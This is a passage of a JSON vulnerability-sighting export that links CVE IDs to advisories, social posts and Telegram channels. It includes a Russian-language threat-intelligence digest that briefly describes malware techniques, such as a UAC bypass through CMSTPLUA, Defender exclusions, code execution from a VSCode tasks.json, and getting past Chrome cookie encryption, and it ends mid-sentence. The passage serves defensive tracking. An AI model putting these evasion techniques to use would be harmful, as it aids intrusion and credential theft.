"source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-several-cisco-products-including-cisco-secure", "content": "", "creation_timestamp": "2026-04-21T06:56:53.000000Z"}, {"uuid": "f39ce20a-d6c9-479f-ac16-7cc70279966f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20105", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-several-cisco-products-including-cisco-secure", "content": "", "creation_timestamp": "2026-04-21T06:56:53.000000Z"}, {"uuid": "ae2492fb-4f6a-4a51-9b61-4e80868f4952", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20106", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-several-cisco-products-including-cisco-secure", "content": "", "creation_timestamp": "2026-04-21T06:56:53.000000Z"}, {"uuid": "6e1ac14f-aa0b-4359-9bfe-07ed92eb42f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20039", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-several-cisco-products-including-cisco-secure", "content": "", "creation_timestamp": "2026-04-21T06:56:53.000000Z"}, {"uuid": "4a136a62-e7b8-4d61-a7d1-f412598d38da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20082", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-several-cisco-products-including-cisco-secure", "content": "", "creation_timestamp": "2026-04-21T06:56:53.000000Z"}, {"uuid": "29631ca7-4421-4cf2-9ac0-5d7674170d28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20001", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-several-cisco-products-including-cisco-secure", "content": "", "creation_timestamp": "2026-04-21T06:56:53.000000Z"}, {"uuid": "5a8406d0-b669-42d6-a630-ce7435d6fb26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20003", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-several-cisco-products-including-cisco-secure", "content": "", "creation_timestamp": "2026-04-21T06:56:53.000000Z"}, {"uuid": "a5d29e0e-e13b-4485-a9d4-8143657cd31f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-several-cisco-products-including-cisco-secure", "content": "", "creation_timestamp": "2026-04-21T06:56:53.000000Z"}, {"uuid": "1c49b962-22ee-4d14-881d-f18dc4d0997e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20126", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-several-cisco-products-including-cisco-secure", "content": "", "creation_timestamp": "2026-04-21T06:56:53.000000Z"}, {"uuid": "959a6831-54b9-4e44-91ed-e5f08688f8fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-several-cisco-products-including-cisco-secure", "content": "", "creation_timestamp": "2026-04-21T06:56:53.000000Z"}, {"uuid": "df237bfb-ebec-46a5-b3fb-637b07cfe8c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20129", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-several-cisco-products-including-cisco-secure", "content": "", "creation_timestamp": "2026-04-21T06:56:53.000000Z"}, {"uuid": "2c740ebd-6d34-4791-84f6-35a45d8ec6e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-several-cisco-products-including-cisco-secure", "content": "", "creation_timestamp": "2026-04-21T06:56:53.000000Z"}, {"uuid": "c1c858e7-576d-43e0-93f4-a5b5ad8c1992", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20002", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-several-cisco-products-including-cisco-secure", "content": "", "creation_timestamp": "2026-04-21T06:56:53.000000Z"}, {"uuid": "35da6422-75e6-470f-aeca-2330bd0fcc2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-several-cisco-products-including-cisco-secure", "content": "", "creation_timestamp": "2026-04-21T06:56:53.000000Z"}, {"uuid": "e8001c87-616d-4c79-aa3b-9c3a3c2005da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-several-cisco-products-including-cisco-secure", "content": "", "creation_timestamp": "2026-04-21T06:56:53.000000Z"}, {"uuid": "38ce4bb0-2c04-4300-90fb-c47bb3437274", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20100", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-several-cisco-products-including-cisco-secure", "content": "", "creation_timestamp": "2026-04-21T06:56:53.000000Z"}, {"uuid": "af8cfba4-7e3b-463b-a9fb-84e595dd05ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20101", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-critical-vulnerabilities-several-cisco-products-including-cisco-secure", "content": "", "creation_timestamp": "2026-04-21T06:56:53.000000Z"}, {"uuid": "387ef71f-8c96-41be-955b-f99dc344449d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mk2t5iznhq24", "content": "", "creation_timestamp": "2026-04-22T06:02:31.479587Z"}, {"uuid": "d6bd21ff-ec70-451c-a208-8013efde4753", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://infosec.exchange/users/0patch/statuses/116449498436577286", "content": "", "creation_timestamp": "2026-04-22T17:18:54.023070Z"}, {"uuid": "c2e5aefa-7e6e-4015-9f38-63c9219547c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116449675412278045", "content": "", "creation_timestamp": "2026-04-22T18:03:54.189185Z"}, {"uuid": "dd7d146f-5b3a-4cfe-b496-391981a2ee87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20126", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116449675412278045", "content": "", "creation_timestamp": "2026-04-22T18:03:54.291435Z"}, {"uuid": "7932c93b-439f-4bd7-914b-14f3743683e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116449675412278045", "content": "", "creation_timestamp": "2026-04-22T18:03:54.406119Z"}, {"uuid": "6bbccdcc-b1d6-4bd0-926e-f061210ba6b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mk4jqw3lvl2i", "content": "", "creation_timestamp": "2026-04-22T22:19:45.122723Z"}, {"uuid": "68e8e159-0fce-4ffe-9b08-9a3d6a011ce2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mk5m3q6rnv2z", "content": "", "creation_timestamp": "2026-04-23T08:34:14.611976Z"}, {"uuid": "d0221024-c1f3-4eae-8382-9fae58b27031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2003", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mk675y6xcq2e", "content": "", "creation_timestamp": "2026-04-23T14:15:31.874448Z"}, {"uuid": "b09371f3-ad14-4a36-8c32-f6c403fc708b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mk675y6xcq2e", "content": "", "creation_timestamp": "2026-04-23T14:15:31.965472Z"}, {"uuid": "299c1f07-d421-4752-a90b-ed8538677273", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2006", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mk675y6xcq2e", "content": "", "creation_timestamp": "2026-04-23T14:15:32.055648Z"}, {"uuid": "0ed2b5e3-a0e6-4fa4-90e1-59e395e3f620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20766", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-113-03", "content": "", "creation_timestamp": "2026-04-23T05:00:00.000000Z"}, {"uuid": "215c1286-a320-4966-8c10-fef569730d91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://bsky.app/profile/crowdcyber.bsky.social/post/3mk6qgaxqay24", "content": "", "creation_timestamp": "2026-04-23T19:24:22.687856Z"}, {"uuid": "4a691f0e-a882-4620-991f-a2d73ddeff9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mkb4a3laaa2u", "content": "", "creation_timestamp": "2026-04-24T18:00:59.769616Z"}, {"uuid": "ac3cda7b-bd60-4237-9359-69cc7b098d02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mkb4a3laaa2u", "content": "", "creation_timestamp": "2026-04-24T18:00:59.942573Z"}, {"uuid": "f29bfc9e-d735-4275-ac90-20f0e01c6242", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/79181", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Cisco-FMC-honeypot\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Hassan-Pouladi\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-07 03:50:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nOriginally a Honeypot for CVE-2026-20131\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-07T04:00:04.000000Z"}, {"uuid": "47d4fe02-a02f-43ab-8168-af4a1110608a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20180", "type": "published-proof-of-concept", "source": "Telegram/6xMUJRZqtRnDjLonUkq3jsNG6gFtR8te4DLwG6ur_2vlp8I", "content": "", "creation_timestamp": "2026-04-15T19:21:39.000000Z"}, {"uuid": "aa18c93f-9598-46bc-abbe-2dc3523953c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "published-proof-of-concept", "source": "Telegram/6xMUJRZqtRnDjLonUkq3jsNG6gFtR8te4DLwG6ur_2vlp8I", "content": "", "creation_timestamp": "2026-04-15T19:21:39.000000Z"}, {"uuid": "569b38ff-c096-4af4-ad51-95a8d5c0ac2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20186", "type": "published-proof-of-concept", "source": "Telegram/6xMUJRZqtRnDjLonUkq3jsNG6gFtR8te4DLwG6ur_2vlp8I", "content": "", "creation_timestamp": "2026-04-15T19:21:39.000000Z"}, {"uuid": "2cf24393-53e0-41af-8e68-8bd3b164ad41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20205", "type": "published-proof-of-concept", "source": "Telegram/pEQZ-8eBs6x0m1Bix4bkgGlpKgKFYdZvEwxqbKXARXHeBmM", "content": "", "creation_timestamp": "2026-04-15T17:20:59.000000Z"}, {"uuid": "1a0ffb18-a434-4028-9d56-c2c43dde867d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "published-proof-of-concept", "source": "Telegram/O4LcqucU1LaZaaWyFLISymaCFCoMKyIZUhNwooAElOjim-8", "content": "", "creation_timestamp": "2026-04-07T09:00:04.000000Z"}, {"uuid": "5c8784cc-8200-4132-b76e-c33131df0db6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "exploited", "source": "https://t.me/kasperskyb2b/2113", "content": "\ud83d\ude80 \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0418\u0411 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83d\udd06 \u0420\u0430\u0437\u0431\u043e\u0440 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0431\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u043e\u0433\u043e \u0442\u0440\u043e\u044f\u043d\u0446\u0430 Horabot, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0440\u0430\u0437\u0438\u043b\u0430 \u0431\u043e\u043b\u0435\u0435 5000 \u0436\u0435\u0440\u0442\u0432, \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u041c\u0435\u043a\u0441\u0438\u043a\u0435. \u0426\u0435\u043f\u043e\u0447\u043a\u0430  \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u043a\u0430\u043f\u0447\u0438, \u0440\u0430\u0437\u0434\u0430\u044e\u0449\u0438\u0445 \u043f\u043e\u043b\u0438\u043c\u043e\u0440\u0444\u043d\u044b\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0438 VBScript \u0438 AutoIt. \u0424\u0438\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043a\u0440\u0430\u0434\u0451\u0442 \u0431\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b. \n\n\ud83d\udd05 \u0415\u0449\u0451 \u043e\u0434\u0438\u043d \u0431\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u0439 \u0442\u0440\u043e\u044f\u043d\u0446\u0435\u0446, GoPix, \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u0411\u0440\u0430\u0437\u0438\u043b\u0438\u0438. \u0412\u041f\u041e \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u043c\u0433\u043d\u043e\u0432\u0435\u043d\u043d\u044b\u0445 \u043f\u043b\u0430\u0442\u0435\u0436\u0435\u0439 Pix, \u043f\u043b\u0430\u0442\u0435\u0436\u043d\u044b\u0435 \u043f\u043e\u0440\u0443\u0447\u0435\u043d\u0438\u044f Boleto \u0438 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u044b \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u044b. \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u0430 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u043d\u0430\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 C2, \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0432  \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0432\u0441\u0435\u0433\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432. \n\n\ud83d\ude08 \u0420\u0430\u0437\u0431\u043e\u0440 \u0438\u043d\u0444\u043e\u0441\u0442\u0438\u043b\u0435\u0440\u0430 Speagle, \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u043c \u043a\u0430\u043d\u0430\u043b\u043e\u043c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u2014 \u043e\u043d \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u0435\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c  \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 Cobra DocGuard. \u041e\u0434\u0438\u043d \u0438\u0437 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0412\u041f\u041e \u0431\u044b\u043b \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u043d\u0430 \u043f\u043e\u0438\u0441\u043a  \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439 \u0431\u0430\u043b\u043b\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0430\u043a\u0435\u0442. \n\n\ud83e\ude9f \u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 SILENTCONNECT. \u042d\u0442\u043e \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 .NET \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 ScreenConnect. \u0417\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043e\u0431\u0445\u043e\u0434\u0438\u0442 UAC \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u043d\u0430 \u0431\u0430\u0437\u0435 COM-\u043e\u0431\u044a\u0435\u043a\u0442\u0430 CMSTPLUA \u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0432 Windows Defender.\n\n\ud83d\udfe2\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 NTT \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 StoatWaffle, \u043d\u043e\u0432\u043e\u0435 \u0412\u041f\u041e \u043d\u0430 \u0431\u0430\u0437\u0435 Node.js, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0435 \u0433\u0440\u0443\u043f\u043f\u043e\u0439 WaterPlum Team 8 \u043a\u0430\u043a \u0447\u0430\u0441\u0442\u044c \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 Contagious Interview. \u0415\u0433\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 GitHub \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d-\u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u0434 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0432 VSCode (\u0441\u043f\u0430\u0441\u0438\u0431\u043e \u0444\u0430\u0439\u043b\u0443 tasks.json). StoatWaffle \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043c\u043e\u0434\u0443\u043b\u044c \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0434\u0438\u0441\u0442\u0430\u043d\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. \n\n\ud83d\udfe2\u0413\u0440\u0443\u043f\u043f\u0430 Head Mare \u043d\u0430\u0446\u0435\u043b\u0438\u043b\u0430\u0441\u044c \u043d\u0430 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435, \u043d\u0430\u0443\u0447\u043d\u044b\u0435 \u0438 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438. \u041d\u043e\u0432\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440   PhantomPxPigeon \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u0447\u0435\u0440\u0435\u0437 \u0442\u0440\u043e\u044f\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0449\u0438\u043a\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0434\u043b\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0432\u0438\u0434\u0435\u043e\u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0439 TrueConf, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043b\u0435\u0436\u0430\u0442 \u043d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 TrueConf \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445.\n\n\ud83d\udfe3\u041d\u043e\u0432\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f VoidStealer \u2014 \u043f\u0435\u0440\u0432\u0430\u044f, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u0435\u043e\u0434\u043e\u043b\u0435\u043b\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u0443\u043a\u0438 \u0432 Chrome, \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u044f \u043a\u043b\u044e\u0447\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0438 \u043e\u0431\u0445\u043e\u0434\u044f \u0437\u0430\u0449\u0438\u0442\u0443 App-Bound Encryption. \n\n\ud83d\udd35\u041e\u0431\u0437\u043e\u0440 \u0431\u043e\u043b\u0435\u0435 80 